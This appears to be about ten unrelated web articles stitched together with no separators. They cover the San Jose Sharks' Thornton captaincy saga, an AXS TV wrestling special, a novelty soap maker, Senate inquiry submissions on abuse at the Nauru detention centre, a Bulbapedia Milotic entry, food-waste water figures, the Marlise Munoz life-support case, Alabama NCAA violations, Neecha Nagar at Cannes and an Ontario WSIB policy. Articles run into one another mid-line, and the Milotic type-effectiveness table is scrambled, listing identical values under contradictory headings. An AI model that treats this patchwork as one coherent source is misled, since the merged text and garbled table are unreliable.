In the wake of #ItWas3toNothing, the Sharks are now providing even more fantastic fodder for Kings fans to enjoy. And now we’re finally seeing what the series did to fracture that team into tiny pieces that will never be repaired.
It all started last offseason when it appeared that the Sharks would attempt to trade their longtime captain Joe Thornton in order to move the team in a younger direction. Everyone agreed this would be a dumb idea. But an even dumber idea would be for General Manager Doug Wilson to say he will shake up the team and then do nothing.
Mckenzie "I think the Sharks are going to trade Joe Thornton anyway, or explore that option" — Hope_Smoke (@Hope_Smoke) May 30, 2014
Thornton, #SJSharks may both be better off parting ways http://t.co/G9M8YJsqyp — Kevin Kurz (@KKurzCSN) May 28, 2014
Joe Thornton would accept a trade if "the fans didn't want him in San Jose" – but they'd be crazy to trade him – http://t.co/ZAnvhRNEp1 — Rory Boylen (@RoryBoylen) June 10, 2014
Alas, Wilson decided against the idea of trading Thornton, or more likely, he couldn’t get him to waive his no-move clause, and hung on to his future Hall of Fame center.
Now it was time to mend fences and prepare for the new season with Thornton leading the charge!
It’s official – #SJSharks will enter training camp with no captain, and no alternates, per Wilson and McLellan — Kevin Kurz (@KKurzCSN) August 20, 2014
…or not.
So the Sharks have muddled their way through the season and now sit outside the playoff picture, which even led to speculation that the team would possibly look to move Thornton at the trade deadline. While not ideal, this would at least allow them to move forward without the distraction of constant speculation regarding Thornton’s future.
Can confirm report by @KatieStrangESPN that #SJSharks have not asked Joe Thornton to waive his no-trade clause. — David Pollak (@PollakOnSharks) March 1, 2015
Of course.
Well, at least the team could now focus on the final stretch drive of the season. They knew who their teammates would be and this is the team they will be going to battle with on a nightly basis.
The franchise was set and nothing could rock that boat!
…no, no. That could never happen with Wilson in charge.
From the San Jose Mercury News:
Sharks general manager Doug Wilson pulled the curtain back Thursday night on the thinking behind the team’s decision last August to take the captaincy away from veteran center Joe Thornton. The topic was raised in a question-answer session with about 350 season-ticket holders before the Sharks faced the Nashville Predators, and Wilson prefaced his remarks by saying he is a huge Thornton fan. “He cares about the game so much. The reason we took the ‘C’ off him … Joe carries the weight of the team on his shoulders, and he’s got such a big heart that when stress comes on him, he lashes out at people,” Wilson said, “and it kind of impacts them. “The pressure and stress, I felt, was getting to Joe,” the general manager said. “And I sat him down and said we need other players to step up and share this. He got it. He didn’t like it, but he got it and he understood it.”
And finally, the most amazingly Sharks thing to ever happen was that Thornton finally had enough.
Simmering issues boiling over in SJ. #SJSharks Thornton on latest from GM Wilson on taking away the 'C': "Doug needs to shut his mouth." — David Pollak (@PollakOnSharks) March 13, 2015
It’s hard to blame him. I mean, why on Earth would a general manager keep throwing his best player under the bus like this?
Everything I've been told regarding the Thornton/Wilson situation is that Wilson is trying to scapegoat Thornton in order to save his job. — Adam Herman (@AdamHerman_BSB) March 13, 2015
Oh, Sharks, why do you make it so easy? :) pic.twitter.com/0kmcNM9Iv1 — Earl Sleek (@earlsleek) March 13, 2015
Please, never ever stop Shark-ing, Sharks!On Sunday, AXS TV will officially announce a three-hour Wrestle Kingdom 12 special to air on Saturday, January 6th, starting at 8 p.m. Eastern time, the main focus of 11 straight hours of New Japan programming starting at noon that day.
All of the top main card matches -- IWGP Heavyweight Champion Kazuchika Okada vs. Tetsuya Naito, US Champion Kenny Omega vs. Chris Jericho, and IC Champion Hiroshi Tanahashi vs. Jay White -- will be on the special.
The marathon will feature many of the biggest matches in New Japan from the last six months, including Omega's matches with Tomohiro Ishii in Long Beach where he won the tournament to be crowned the US Champion, Omega vs. Naito in the G1 Climax final, and Omega vs. Juice Robinson for the US title.
From 5-8 p.m., they will replay the recent King of Pro Wrestling special from Sumo Hall in Tokyo that featured Okada vs. EVIL and Naito vs. Ishii.
They will be airing matches from Wrestle Kingdom 12 starting January 12th through February 9th, broken down into five one hour programs in their regular Friday night timeslot.
"While NJPW has delivered some of the greatest matches in wrestling history over the past year, we've seen viewership growth on AXS TV thanks to New Japan's expansion in the U.S. and our commitment to air matches closer to when they take place," said Andrew Simon, the CEO of AXS TV Fights.
"With Wrestle Kingdom as their marquee annual event, we thank NJPW and TV Asahi for their support and are proud to kick off 2018 with this historical prime time Saturday night special featuring the dream match-up Kenny Omega vs. Chris Jericho."A Company Makes the Most Hilarious Soaps
It helps if a business has a little bit of humor. That’s what people look for nowadays. They tend to go for entities that know how to have a good laugh once in a while. Whiskey River Soap Co. has no shortage of humor. In fact, its a company that’s built around it and they’re making good money by being funny and witty.
Their Products
Whiskey River Soap Co. makes soap and candles and adds a funny twist to them like this soap below:
And their products are not just funny as hell, they’re of good quality as well. And aside from creating soap and candles, they have expanded their product line and introduced humorous pocket journals to their portfolio.
One bar of 170 grams funny soap costs $8.95 which is reasonable enough given the the quality of the packaging and the product. Journals cost $9.95 each while candles come at a whopping $19.95 per piece and are best used for display. They’re also perfect for gifts.
Since I love their soap so much, let me give you a couple more images of their flagship product.
More Images of Funny SoapNauru detention centre: Senate inquiry submissions reveal rape, misconduct, filthy conditions at facility
Updated
Shocking accounts of sexual assault and squalid living conditions at the Australian-funded detention centre on Nauru have been revealed in submissions to a Senate inquiry.
The inquiry was launched following the release of the independent Moss Report, which detailed sexual and physical assaults on asylum seekers.
The Senate committee's first public hearing is being held in Canberra today.
One submission from a doctor who recently visited the Pacific nation details an alleged rape against a woman going to the toilet at night.
"When interviewing the [patient] referred to me, she confided to me that she had been raped," Professor David Isaacs wrote.
"She told me that since the rape, one guard had offered her extra shower time in return for sexual favours.
"And on another occasion a different guard offered marijuana in return for sexual favours."
The Sydney-based Immigration Advice and Rights Centre (IARC) recounted the story of a female detainee who said her son had been sexually assaulted three times.
"In 2014 [the boy] began to self harm and was speaking about attempting suicide. It later became evident to [his mother that the boy] had been sexually assaulted," the submission reads.
The IARC submission also claimed Nauruan and Australian officials had had relationships with detainees.
The tents are full of mice and cockroaches. Rats loiter outside the tents. Asylum Seeker Resource Centre
Former Nauru magistrate, Australian Peter Law, said it appeared the country's police force had failed to properly investigate serious sexual and violent incidents against refugees and asylum seekers.
"The failure... to bring charges suggests political interference and highlights an unwillingness to bring to public attention, the circumstances of refugees in Nauru generally," Mr Law's submission states.
"Such action may reflect adversely on Nauru as a place to process and settle asylum seekers."
Mr Law was deported from Nauru in 2014 after granting an injunction against the deportation of two people from the island.
Mouldy conditions cause fungal infections: submission
The submissions also shed light on the living conditions in the detention facility, with some describing mouldy tents full of cockroaches and rodents.
"At night, condensation causes the mould to drip onto the faces of people as they sleep on stretchers. This is causing fungal eye and skin infections," Asylum Seeker Resource Centre's submission reads.
"The tents are full of mice and cockroaches. Rats loiter outside the tents."
Get more stories like this Subscribe to Subscribe to get ABC News delivered to your email, including alerts on major breaking stories, daily wraps of the top issues and analysis and the latest stories on topics that interest you.
Contractors Transfield Services, Wilson Security and the Immigration Department will appear at today's inquiry, along with charity Save the Children.
The department's submission explains the process that deals with complaints, while conceding the reporting of allegations needs improvement.
"All allegations of inappropriate behaviour at the Regional Processing Centre are taken seriously and are appropriately investigated," its submission reads.
"Allegations of criminal behaviour are referred to the Nauru Police Force who is responsible for investigating contraventions of Nauruan law.
"The Government of Nauru and the Department are committed to improving the mechanisms in place to capture all allegations, with a view to encouraging reporting and enhancing the effectiveness of current reporting systems to ensure information is readily accessible and accurate."
The Senate committee is due to hand down findings by the middle of June.
Topics: immigration, law-crime-and-justice, crime, refugees, child-abuse, sexual-offences, community-and-society, nauru, australia
First postedFrom Bulbapedia, the community-driven Pokémon encyclopedia.
Milotic (Japanese: ミロカロス Milokaross) is a Water-type Pokémon introduced in Generation III.
It evolves from Feebas when leveled up with its Beauty condition high enough or when traded holding a Prism Scale (Generation V onwards).
Biology
Milotic floating
Milotic is an aquatic, serpentine Pokémon with a primarily cream-colored body. It has red eyes with long, pinkish antennae above them. Additionally, there are long, hair-like fins above its eyes, which begin thin and thicken towards the tips. These eyebrows extend to almost half of Milotic's body length, and will be longer on the female than the male. On top of its relatively small head is a straight spike. Running down either side of its neck are three black dots, similar to gills. Its lower body is a patterning of blue and pink, diamond-shaped scales outlined with black. The tail consists of four large, blue fins with pink ovals in their centers. Each of the tail fins overlaps the next slightly, causing it to resemble a fan. Milotic's scales are said to change color depending on the viewing angle, which has so far only been depicted in Pokémon Battle Revolution.
Milotic is said to be the most beautiful of all Pokémon. When there are fights going on, it has the power to calm angry feelings and end arguments by releasing a wave of energy. In addition, it can move by floating in the air as shown in the anime. It lives at the bottom of large lakes.
In the anime
Major appearances
Milotic debuted in Win, Lose or Drew!, under the ownership of Robert. Robert used Milotic again for the Hoenn Grand Festival, where the Tender Pokémon helped him to fulfill his goal of becoming a Top Coordinator.
Juan's Milotic debuted in The Great Eight Fate!. Juan used it against Ash for their Gym battle in the following episode, being his strongest and last Pokémon. Milotic was able to defeat Swellow with a combination of Hydro Pump and Twister before losing to Pikachu's Thunder.
Pike Queen Lucy used a Milotic in her battle against Ash at the Battle Pike in Queen of the Serpentine. It defeated Donphan before losing to Pikachu when he used Volt Tackle in one of its Twisters. It reappeared in a flashback in A Pyramiding Rage!.
Sugimori reference sheet for the anime
In Malice in Wonderland!, a wild Mismagius created an illusion in which a Feebas owned by Johanna evolved into a Milotic while battling Dawn's Piplup during the world's greatest Coordinator playoff.
A Milotic appeared in Our Cup Runneth Over!, under the ownership of Wallace. It reappeared in Staging a Heroes' Welcome!, during the opening of the Wallace Cup; in Strategy with a Smile!, when Dawn was being awarded the Aqua Ribbon; and in a fantasy in Goodbye, Junior Cup - Hello Adventure!.
A Milotic appeared in Rescuing the Unwilling! and 10,000,000 Reasons to Fight!, under the ownership of Lusamine. Under the control of a Nihilego who was possessing Lusamine, it attacked Ash and his classmates before Nihilego was defeated.
Minor appearances
A Milotic appeared in the boss fantasy of A Lean Mean Team Rocket Machine!.
A Milotic appeared in the opening sequence of Arceus and the Jewel of Life, under the ownership of Tower Tycoon Palmer. It was used during his battle against Cynthia and her Garchomp.
A Milotic appeared in the opening sequence of Zoroark: Master of Illusions.
A wild Milotic appeared in Alola to New Adventure!.
A Milotic appeared in Yo, Ho, Ho! Go, Popplio!. Lillie hooked it whilst fishing and struggled to reel it in. Ash jumped across to help, only for Milotic to jump out of the sea and hit him, sending him flying into the ocean.
A Milotic appeared on television in Night of a Thousand Poses!.
Pokédex entries
Episode Pokémon Source Entry AG035 Milotic Ash's Pokédex Milotic, the Tender Pokémon. Milotic is able to soften human anger and hatred by emitting soothing frequencies from its body. AG079 Milotic Magikarp salesman's laptop This Tender Pokémon, called a Milotic, is the evolved form of Feebas. It is said to be the most beautiful of all Pokémon and is quite skilled in battle. This concludes the entries from the Advanced Generation series.
Episode Pokémon Source Entry DP075 Milotic Dawn's Pokédex Milotic, the Tender Pokémon and the evolved form of Feebas. At the first sign of fighting, Milotic will come up from the bottom of its lake habitat to calm any angry feelings. This concludes the entries from the Diamond & Pearl series.
Episode Pokémon Source Entry SM053 Milotic Rotom Pokédex Milotic, the Tender Pokémon. A Water type. Milotic live deep in lakes with clear water. They appear when conflict is imminent, calming people's hearts. This concludes the entries from the Sun & Moon series.
In the manga
In the Pokémon Adventures manga
Main article: Feefee
Ruby's Feebas evolved into Milotic in It All Ends Now VII, after Ruby declared that she had inner beauty.
In Moving Past Milotic, Emerald encountered a wild Milotic in the 21st room of the Battle Pike but he simply ran away from it due to the fact that it was a wild Pokémon. Pike Queen Lucy sends out her Milotic against Emerald's Starmie later in the chapter.
Cynthia has a Milotic that was first used against Cyrus in the Team Galactic HQ. It first appeared in Shunning Spiritomb.
A Milotic appeared in a flashback as a Pokémon trained by the International Police in Innocent Scientist.
Lusamine's Milotic first appeared in PASM13.
In the Pokémon Battle Frontier manga
Enta's Feebas evolved into Milotic after his battle with Dome Ace Tucker.
In the Pokémon Diamond and Pearl Adventure! manga
Mitsumi's Milotic was first seen in The Battle Rages On, battling Jupiter in Lake Acuity.
In the TCG
Other appearances
A female Milotic can appear in the background of the Unova Pokémon League stage of the 3DS version. However, it does not interact with the stage like Reshiram or Zekrom would. Shaymin and Whimsicott might also appear.
Trophy information
NA: Have you ever noticed how anyone who's seen a Milotic just can't seem to describe how beautiful it is? Words just can't do it justice. Even that says a lot about its appearance, doesn't it? If you really wanted to compliment someone, you could say "You're looking Milotic this fine day!"
PAL: Have you ever noticed how anyone who's seen a Milotic just can't seem to describe how beautiful it is? Maybe words can't do it justice. We'll have to add "Milotic" to the dictionary as a brand-new word. But then...how would you define it? Maybe you'd need an illustrated dictionary...
Game data
Pokédex entries
This Pokémon was unavailable prior to Generation III. Generation III Ruby Milotic is said to be the most beautiful of all the Pokémon. It has the power to becalm such emotions as anger and hostility to quell bitter feuding. Sapphire Milotic live at the bottom of large lakes. When this Pokémon's body glows a vivid pink, it releases a pulsing wave of energy that brings soothing calm to restless spirits. Emerald It is said to live at the bottom of large lakes. Considered to be the most beautiful of all Pokémon, it has been depicted in paintings and statues. FireRed Milotic is breathtakingly beautiful. Those that see it are said to forget their combative spirits. LeafGreen Generation IV Diamond When people bicker, it is said to arise from the depths of lakes to becalm violent hearts. Pearl It is the world's most beautiful Pokémon. There are many works of art featuring Milotic. Platinum Its lovely scales are described as rainbow colored. They change color depending on the viewing angle. HeartGold It's said that a glimpse of a Milotic and its beauty will calm any hostile emotions you're feeling. SoulSilver Generation V Black Its lovely scales are described as rainbow colored. They change color depending on the viewing angle. White Black 2 Its lovely scales are described as rainbow colored. They change color depending on the viewing angle. White 2 Generation VI X Milotic is breathtakingly beautiful. Those that see it are said to forget their combative spirits. Y It is the world's most beautiful Pokémon. There are many works of art featuring Milotic. Omega Ruby Milotic is said to be the most beautiful of all the Pokémon. It has the power to becalm such emotions as anger and hostility to quell bitter feuding. Alpha Sapphire Milotic live at the bottom of large lakes. When this Pokémon’s body glows a vivid pink, it releases a pulsing wave of energy that brings soothing calm to troubled hearts. Generation VI Sun Milotic has provided inspiration to many artists. It has even been referred to as the most beautiful Pokémon of all. Moon It lives at the bottom of clear lakes. In times of war, it shows itself, which soothes people's minds and hearts. Ultra Sun While Milotic is said to be the most beautiful Pokémon, Trainers who like Feebas and have raised it are seemingly disappointed by Milotic. Ultra Moon Its dwelling place is the bottom of big lakes. Those who behold its loveliness are said to have their hearts purified.
Game locations
In side games
In events
Held items
Stats
Base stats
Stat Range At Lv. 50 At Lv. 100 HP : 95 155 - 202 300 - 394 Attack : 60 58 - 123 112 - 240 Defense : 79 75 - 144 146 - 282 Sp.Atk : 100 94 - 167 184 - 328 Sp.Def : 125 117 - 194 229 - 383 Speed : 81 77 - 146 150 - 287 Total: 540 Other Pokémon with this total Minimum stats are calculated with 0 EVs, IVs of 0, and a hindering nature, if applicable.
Maximum stats are calculated with 252 EVs, IVs of 31, and a helpful nature, if applicable.
Pokéathlon stats
Type effectiveness
Under normal battle conditions in Generation VII, this Pokémon is: Damaged
normally by: Normal 1× Fighting 1× Flying 1× Poison 1× Ground 1× Rock 1× Bug 1× Ghost 1× Steel ½× Fire ½× Water ½× Grass 2× Electric 2× Psychic 1× Ice ½× Dragon 1× Dark 1× Fairy 1× None Weak to: Normal 1× Fighting 1× Flying 1× Poison 1× Ground 1× Rock 1× Bug 1× Ghost 1× Steel ½× Fire ½× Water ½× Grass 2× Electric 2× Psychic 1× Ice ½× Dragon 1× Dark 1× Fairy 1× None Immune to: Normal 1× Fighting 1× Flying 1× Poison 1× Ground 1× Rock 1× Bug 1× Ghost 1× Steel ½× Fire ½× Water ½× Grass 2× Electric 2× Psychic 1× Ice ½× Dragon 1× Dark 1× Fairy 1× None Resistant to: Normal 1× Fighting 1× Flying 1× Poison 1× Ground 1× Rock 1× Bug 1× Ghost 1× Steel ½× Fire ½× Water ½× Grass 2× |
by the Institution of Mechanical Engineers (IME)
The IME estimate that 30-50% (1.2-2bn tonnes) of all food produced is "lost before reaching a human stomach". Consumer affairs correspondent Rebecca Smithers writes today:
The UK's Institution of Mechanical Engineers (IME) blames the "staggering" new figures in its analysis on unnecessarily strict sell-by dates, buy-one-get-one free and Western consumer demand for cosmetically perfect food, along with "poor engineering and agricultural practices", inadequate infrastructure and poor storage facilities.
Major supermarkets have also been blamed for food waste by rejecting crops of edible fruit and vegetables which don't meet their exacting standards for their physical characteristics (such as size and colour). Up to 30% of the UK's vegetable crop is never harvested due to this type of practice the report claims.
The publication entitled 'Global food: waste not, want not' also aims to highlight the wastage of energy, land and water. Approximately 3.8tn cubic metres of water is used by humans annually with 70% being consumed by the global agriculture sector. The amount of water wasted globally in growing crops that never reach the consumer is estimated at 550bn cubic metres.
IME claim that water requirements to meet food demand in 2050 could reach between 10-13.5tn cubic metres per year - about triple the current amount used annually by humans.
Meat production requires a much higher amount of water than vegetables. IME state that to produce 1kg of meat requires between 5,000 and 20,000 litres of water whereas to produce 1kg of wheat requires between 500 and 4,000 litres of water.
The table below shows typical values for the volume of water required to produce common foodstuffs. Chocolate tops the list with 17,196 litres of water need to produce 1kg of the product. Beef, sheep and pork meat all require high volumes of water for production also. Tea, beer and wine use the least according to the list. Compared to the production of meat, vegetable foodstuffs require considerably less water - 1kg of potatoes for example uses 287 litres of water.
Look at the table below to see how much water is required to produce a selection of common foodstuffs. Also if you want to see how much water we consume indirectly through eating and drinking different foods, we have previously published a great interactive visualisation by Italian graphic design specialist Angela Morelli.
What can you do with this data?
Data summary
Typical values for the volume of water required to produce common foodstuffs Click heading to sort table. Download this data Foodstuff Quantity Water consumption, litres Chocolate 1 kg 17,196 Beef 1 kg 15,415 Sheep Meat 1 kg 10,412 Pork 1 kg 5,988 Butter 1 kg 5,553 Chicken meat 1 kg 4,325 Cheese 1 kg 3,178 Olives 1 kg 3,025 Rice 1 kg 2,497 Cotton 1 @ 250g 2,495 Pasta (dry) 1 kg 1,849 Bread 1 kg 1,608 Pizza 1 unit 1,239 Apple 1 kg 822 Banana 1 kg 790 Potatoes 1 kg 287 Milk 1 x 250ml glass 255 Cabbage 1 kg 237 Tomato 1 kg 214 Egg 1 196 Wine 1 x 250ml glass 109 Beer 1 x 250ml glass 74 Tea 1 x 250 ml cup 27
• DATA: download the full spreadsheet
SOURCES: Institution of Mechanical Engineers
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• Like us on FacebookThe case of a pregnant woman in Texas kept on life support against her family's wishes has captured the nation's attention as ethical debates swirl, but there is another compelling aspect to this story: The fetus she is carrying may be the first real million-dollar baby.
Marlise Munoz, 33, has been on life support at John Peter Smith Hospital in Fort Worth, Texas, since late November, when she was declared brain dead following oxygen deprivation related to a possible blood clot in her lungs. The patient's medical details have not been released.
At the time of her legal death, she was 14 weeks pregnant. Her advanced directive, and the wishes of her husband and family, call for removal from life support. However, Texas law prohibits removing life support from pregnant women.
So what will this extended hospital stay cost?
Medical ventilation can run $1,500 per day, according to a 2005 study, and long-term ICU can run about $5,000 per day. But Munoz's unique situation could mean even higher costs, said Adam C. Powell, PhD, a healthcare economist at Payer+Provider in Boston.
At $5,000 per day, Munoz's hospital bills would be $350,000 after 70 days, or 24 weeks into her pregnancy, when the baby would have about a 50% chance of survival. By the time she reaches 112 days, at which point she would be 30 weeks pregnant, the bill would be $560,000, and the baby would have more than a 92% chance of survival.
Then there's the cost of a C-section, roughly $4,500 for physicians' fees alone, according to the Healthcare Blue Book.
Once the child is born, Brian S. Carter, MD, a neonatologist at Children's Mercy Hospital in Kansas City, Mo., told MedPage Today that the neonate could spend anywhere between 2 to 4 months in the neonatal intensive care unit (NICU), depending upon how many weeks he or she is premature.
NICU costs generally run more than $3,500 per day. After 2 months, the NICU bill would be roughly $210,000, and by 4 months, it could reach $420,000. Carter suggested the baby would spend roughly 2 months in the NICU if the birth occurred at 28 weeks, but it would look more like 4 months if the birth was closer to 24 weeks.
That means a grand hospital bill total of anywhere from $439,500 to $984,500.
Powell suggested that the cost the family will have to shoulder will depend on their coverage. "In the worst case scenario, the family gets hit with the maximum out-of-pocket," he said. It's unclear how much that would be, but it's very unlikely they would face more than a fraction of the total cost. Insurance coverage for a woman that has been declared brain dead is a gray area, Powell said.
Munoz was a paramedic and her husband is a firefighter. The fact that Munoz worked -- presumably for more than 18 months -- means the child will be eligible for Social Security death benefits until the age of 18. Her salary is unknown, but if it were $45,000 per year, the combination of payments to her husband and their child would be about $3,000 per month. That's $36,000 per year for 18 years or a total of $648,000.
Taken together, even a conservative estimate of the costs exceeds $1 million, and could be more than $1.6 million.
The Clinical Outlook
Keeping the mother's body stable and avoiding life-support-related infections throughout the pregnancy will be the key to a good fetal outcome, say clinicians, but there is considerable risk for brain damage from the initial injury.
R. Phillips Heine, MD, Director of Maternal-Fetal Medicine at Duke Medical Center, told MedPage Today that as long as providers are able to keep Munoz stable (e.g., no further blood clots or bed sores, quality perfusion and oxygen levels), "the risk of continuing therapy is probably pretty minimal to the infant."
Mona Prasad, DO, MPH, a maternal-fetal medicine specialist at the Ohio State University Wexner Medical Center, speculated that the course of delivery would most likely involve a C-section, and that the timing of delivery would depend on how well the intrauterine environment could be controlled.
Prasad believes that the greatest risk to a mother on life-support would be infection. "The most quantifiable risk is that associated with a ventilator -- pneumonia in the mother. A mother on life support will also likely have a lot of lines and tubes that will increase the risk of infection and put the baby at risk."
Prasad noted that if the providers were to determine that the NICU environment could provide more stability than the womb, a pre-term birth might be the best course of action.
Carter told MedPage Today that the medications given to Munoz in the emergency department to resuscitate her would also have benefited the fetus. But, that the impact of the maternal incident itself is what poses the greatest risk.
"As we consider the impact of maternal illness, or an arrest, or episode of significant shock at 14 weeks, it's the fact that the fetus in utero also suffered the same phenomenon," Carter said.
Carter said the infant is at high risk of cerebral palsy.
Heine agreed. "The real issue has to do with the event that caused her to go on life support. That damage is really hard to predict. We think that 80% to 90% of all cases of cerebral palsy are due to in utero events."
"About 20% of cardiac output goes to the utero-placental unit and serves the fetus, so a maternal event such as has been described for this woman can't help but impact the fetal development in a negative fashion, and I would be very concerned about the impact that it has specifically on fetal brain development," Carter said.
The Ethical Debate
Several ethicists question the humanity of keeping a brain dead woman on life support against the family's wishes; however, others believe that protecting what is technically a viable fetus is the humane course.
George Annas, JD, MPH, Chair of the Department of Health Law, Bioethics, and Human Rights at Boston University School of Public Health, told MedPage Today, "The law cannot answer this case with a blunt always/never rule. Patient autonomy and medical ethics should guide such tragic and inherently difficult decisions."
Professor William M. Sage, MD, JD, Vice Provost of Health Affairs at the University of Texas School of Law, told MedPage Today he also questioned the intention and application of the law in this case. "The hospital claims it is complying with Texas law."
"I doubt the law applies to a deceased woman who was pregnant at the time of her death," Sage said.
"As an ethical matter, this case is unusual because the family seems to be asserting that the mother would not have wanted care to be given to the fetus after her death, but the hospital refuses to honor that choice," Sage continued.
Annas agreed, "Extraordinary means to preserve the life of a nonviable fetus against the wishes of the family should probably never be used, at least not longer than a few days, and then only if a healthy infant is the probable result."
"The issue is much more difficult when the pregnant woman is dead, because the dead have no constitutional rights and no claim to liberty or autonomy. They do, however, have a "right" to have their dead bodies treated with respect, and this, I think, should limit the time that physicians can use their dead body against their likely wishes," Annas said.
"There is a pretty robust legal and ethical consensus around the right of a patient, or their representative, to refuse medical care," Alan Regenberg, MBe, of Johns Hopkins Berman Institute of Bioethics, told MedPage Today.
"The law is intended to protect the uncertain interests of a fetus. These interests can only be protected in cases such as this by violating the patient's rights. The law itself is ethically problematic -- it puts hospitals into the unfortunate position of having to choose between violating this law or violating their patients' rights," Regenberg said.
According to Tia Powell, MD, director of Montefiore Einstein Center for Bioethics, the providers are misinterpreting the law altogether, she told MedPage Today. "No law requires any medical treatment for a dead person. If, as is alleged, the hospital knows this person meets criteria for brain death and they have failed to document this in the chart, then, yes, I believe they have behaved unethically."
"A judge should intervene to require an examination of the patient to determine whether or not she meets criteria for brain death," Powell recommended.
Even if Munoz had an iron-clad advanced directive prior to her health incident, she did not have one updated after knowledge of her pregnancy, rendering the directive unusable under the circumstances, said Texas Medical Association spokesperson Robert Tenery, MD.
"The fetus was deemed viable at the time of admission," Tenery, former chair of the American Medical Association's Council on Ethical and Judicial Affairs, told MedPage Today. As there is no way to know about brain damage at that stage, viability was determined via heartbeat, which was strong enough to thwart decisions to remove life support.
2014-01-10T13:13:54-0500TUSCALOOSA -- At a rate of roughly two per month, Alabama has reported 44 secondary violations of NCAA rules in the past two years, more than one-third of which involve the football program. Most of the violations are minor, with one-fourth resulting in nothing more than rules education as a correction action. Roughly one-third of the violations involve impermissible text messages to recruits. In the two-year period, the Alabama football program reported 16 secondary violations, the women's basketball program eight and the gymnastics program six. No other program committed more than two. Seven programs -- men's and women's cross country, women's track and field, women's golf, softball, swimming and diving and men's tennis -- committed no violations. Most universities routinely report minor violations of NCAA bylaws to their conference offices and the NCAA. The newspapers of al.com (The Birmingham News, the Press-Register of Mbile and The Huntsville Times) regularly file requests with the University of Alabama and Auburn University to view the documents under the state open-records law, which gives citizens the right to inspect public records.
, the athletic department's website. The five-page report summarizes the violations, but names of student-athletes, recruits and members of the coaching staff are not included. Neither are the dates that each violation occurred. Two of the football violations resulted in a player being suspended for two regular-season games. According to the summary of one of the violations, a player "received impermissible transportation, entertainment, meals and lodging during two trips." According to the summary of another violation, a player "received impermissible benefits from an agent and preferential treatment based on status" as a student-athlete. Last summer, star defensive end Marcell Dareus was suspended for two games because of impermissible benefits he received during two May trips to Miami. None of the football violations involved a so-called "bump" between a coach and a recruit. Last winter, Alabama coach Nick Saban was accused of violating the "bump" rule when he spoke with Barry James Sanders, the son of legendary running back Barry Sanders, at the prospect's high school in Oklahoma. When questioned about the contact with a junior, Saban said it was just a greeting. Oklahoma State suggested the rule was violated, but the high school's offensive coordinator said Saban was talking to him about Alabama's need for running backs.
Alabama reported two violations of NCAA by-law 13.10.5: publicizing a recruit's visit to the campus. In both cases, rules education was the only corrective action demanded. It isn't clear if either of those violations involved Sanders. On Feb. 19, Barry James Sanders and his father sat with Saban at an Alabama home basketball game. During the game, Saban and the younger Sanders briefly were pictured on the video board. The arena camera then zeroed in on Saban and the elder Sanders. The next day, an Alabama spokesman said the school's compliance office looked into the matter and determined no rule was violated. One football violation involved a football player selling complimentary tickets. The player was required to repay the benefit to a charity and was withheld from competition. Additional rules education was provided to the entire team. Another football violation involved a player providing impermissible transportation off campus to a recruit on an unofficial visit. The recruit was required to repay the benefit to charity and the player and football staff received rules education. The other football violations were relatively minor. Three involved impermissible text messages sent to recruits. Two involved text messages sent to recruits' mothers. In another case, a recruit called a member of the strength and conditioning staff and left a voice mail. The staff member returned the call, not realizing the person was a recruit. The consequence was a letter of admonishment and rules education, and the coaching staff was prohibited from contacting the recruit for two weeks. The men's basketball program was cited for two violations. Impermissible text messages to recruits resulted in relatively stiff action: a 14-day ban on the entire coaching staff on sending an recruiting materials to any recruits; a 14-day ban on an assistant coach initiating calls to a recruit; a 30-day ban on the entire coaching staff on all recruiting contact with a recruit; a reduction in the number of official visits; and a letter of admonishment. The other violation involved playing an unrecruited walk-on in two games during the December vacation period before he was declared eligible. The player later was declared eligible. The result was a letter of admonishment and rules education. The baseball program was cited only once, for impermissible text messages, but harsher action was taken compared to text-message violations in other sports. The penalty was a five-week ban on all communication with recruits; rules education; institution of quarterly rules training regarding phone calls; and a letter of admonishment. The women's basketball program was cited for leaving for a road game prior to 48 hours before the game; staff members taking a recruit and her father bowling along with six players; and twice exceeding the permissible number of phone calls to a recruit, among other minor violations. Among other small violations, the gymnastics program broke rules by paying for the meal of siblings of two recruits on official visits. The recruits were required to donate to charity money equaling the cost of the meals. The volleyball program violated a rule by beginning practice two days earlier than permissible. Besides a letter of admonishment, it was required to miss four practices during the season. How extensive are some of the NCAA's rules in its thick manual? Consider this: While a gymnastics recruit was on an official visit, her father sent a text message to a member of the coaching staff to confirm information. The coach broke a rule by replying to the message. The corrective action was a two-week call ban for all prospects; a letter of admonishment; and a 30-day communication ban for the entire staff with the recruit.Though the Cannes Film Festival officially began in 1939, there was a six-year break owing to World War II. The festival resumed in 1946, and it was in that year that Chetan Anand's film Neecha Nagar was one of a handful of films that walked away with the top prize, which was then known as the Grand Prix du Festival International du Film. One of the earliest efforts at social realism in Bollywood cinema, it was inspired by a short story of the same name written by Hayatulla Ansari (which itself was based on Maxim Gorky's The Lower Depths) and focuses on the vast differences between the rich and poor in Indian society. Though mostly forgotten today, it paved the way for many filmmakers in the Indian New Wave.A new mental health policy at the provincial workers compensation board leaves workplace accident victims “in a worse position than they have ever been,” according to a coalition of legal experts and injured worker advocates. The policy, announced last week, requires workers making claims for chronic mental stress to meet a higher standard of proof to get compensation than those with other kinds of work-related injuries. In a letter sent this week to Premier Kathleen Wynne, a coalition of 12 legal clinics and private practice lawyers said this violates the charter rights of workers with mental health issues, denying them equal protection under the law.
Karl Crevar, who injured his back on the job in 1987 and has been an injured worker advocate ever since, says workers already vulnerable or precariously employed will struggle the most to meet the board’s new requirements on chronic stress claims. ( PETER POWER / FOR THE TORONTO STAR )
“The (Workplace Safety and Insurance Board’s) policy will set workers with mental disabilities back decades. Most workers with mental disabilities will not be able to get WSIB support because of this new policy,” said Maryth Yachnin, a lawyer with the Industrial Accident Victims Group of Ontario, a signatory of the letter. The policy affects workers who believe they have suffered prolonged trauma on the job: for example, a nurse who has experienced years of sexual harassment and subsequently developed depression. Such workers were previously excluded from making compensation claims at all, which the WSIB’s independent appeals tribunal ruled to be unconstitutional. Earlier this year, the provincial government passed new laws to remove the exclusion.
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But the legislation also gives the WSIB latitude to create its own guidelines on how to administer legislative requirements. The board’s new chronic mental health policy will require workers to prove their workplace was the “primary or main cause” of their illness — a different standard than other injured workers must meet. Usually, workers need only prove their workplace was one significant contributing cause to their injuries in order to receive compensation — a principle that is “firmly established” in tort law, according to the letter. “This new test directly discriminates against workers with mental injuries,” it adds. The WSIB said its new policy, including the predominant cause test, is modelled on existing coverage in British Columbia, Alberta, Saskatchewan and Quebec. “We want anyone dealing with work-related mental stress to get the help and support they need,” board spokesperson Christine Arnott said in an email.
